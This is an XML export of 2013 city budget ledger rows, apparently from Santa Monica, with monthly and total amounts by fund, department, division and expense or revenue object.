<row _id="3192"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2318.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>474</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1844.0</total></row>
<row _id="3193"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>548.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-68</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>480.0</total></row>
<row _id="3194"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409150.0</object><object_description>PASSPORT SERV PHOTOS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-6600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6600.0</total></row>
<row _id="3195"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561111.0</object><object_description>CHRYSALIS EMPLYMNT CTR-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="3196"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561113.0</object><object_description>OPCC ACCESS CTR-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7400.0</total></row>
<row _id="3197"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>VENICE FAMILY CLINIC-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3986.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3986.0</total></row>
<row _id="3198"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1473.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>15</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1488.0</total></row>
<row _id="3199"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>68294.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>683</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>68977.0</total></row>
<row _id="3200"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1779.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>18</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1797.0</total></row>
<row _id="3201"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>417.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>417.0</total></row>
<row _id="3202"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1269.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1269.0</total></row>
<row _id="3203"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6073.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6073.0</total></row>
<row _id="3204"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12914.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>129</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13043.0</total></row>
<row _id="3205"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3384.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3384.0</total></row>
<row _id="3206"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>16118.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>161</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16279.0</total></row>
<row _id="3207"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>20518.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>812</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21330.0</total></row>
<row _id="3208"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409072.0</object><object_description>ROSIE'S GIRLS-SUMMER I</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-29038.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-29038.0</total></row>
<row _id="3209"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>533710.0</object><object_description>SOFTWARE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="3210"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401890.0</object><object_description>WIRELESS FACILITY FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10000.0</total></row>
<row _id="3211"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-8000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8000.0</total></row>
<row _id="3212"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401810.0</object><object_description>ENCROACHMENT REVENUE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-3636.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3636.0</total></row>
<row _id="3213"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404560.0</object><object_description>UTILITY POLE LEASE FEE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-15000.0</total></row>
<row _id="3214"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>450.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>450.0</total></row>
<row _id="3215"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>104040.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>104040.0</total></row>
<row _id="3216"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544014.0</object><object_description>FILTER MEDIA REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>882000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>882000.0</total></row>
<row _id="3217"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555430.0</object><object_description>WASTE DISPOSAL (BRINING)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>55896.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>55896.0</total></row>
<row _id="3218"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>13700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>137</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13837.0</total></row>
<row _id="3219"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555015.0</object><object_description>OUTSIDE REPAIRS - BLDG MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>373882.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>373882.0</total></row>
<row _id="3220"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555018.0</object><object_description>OUTSIDE REPAIRS/SERV-BUS STOP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="3221"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5835.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>72</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5907.0</total></row>
<row _id="3222"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2473.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2473.0</total></row>
<row _id="3223"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>612.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>612.0</total></row>
<row _id="3224"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6225.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6225.0</total></row>
<row _id="3225"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>405680.0</object><object_description>EVENT ADMINISTRATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-15509.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-15509.0</total></row>
<row _id="3226"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577723.0</object><object_description>ST. JOE SHELTER PLUS CARE-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3487.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3487.0</total></row>
<row _id="3227"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577726.0</object><object_description>ST JOE -FAM SELF SUF PRG-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>64174.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>64174.0</total></row>
<row _id="3228"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562432.0</object><object_description>SHP-ST JOE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>63432.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>63432.0</total></row>
<row _id="3229"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406796.0</object><object_description>10 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-252799.0</july><august>0</august><september>0.0</september><october>87046.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-165753.0</total></row>
<row _id="3230"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>406797.0</object><object_description>11 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-152154.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-152154.0</total></row>
<row _id="3231"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>408230.0</object><object_description>MIDTOWN PARKING LOTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-122000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>122000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3232"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>408240.0</object><object_description>PARKING STRUCTURE 10</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-280000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>280000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3233"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561147.0</object><object_description>ST. JOE HPSHP - HUD</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>21672.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21672.0</total></row>
<row _id="3234"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3061.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>31</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3092.0</total></row>
<row _id="3235"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3476.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3476.0</total></row>
<row _id="3236"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577240.0</object><object_description>SERVICE AGREEMENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>309699.65</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>309699.65</total></row>
<row _id="3237"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>578420.0</object><object_description>POLICE PIER PATROL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>393452.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>393452.0</total></row>
<row _id="3238"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>87552.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>87552.0</total></row>
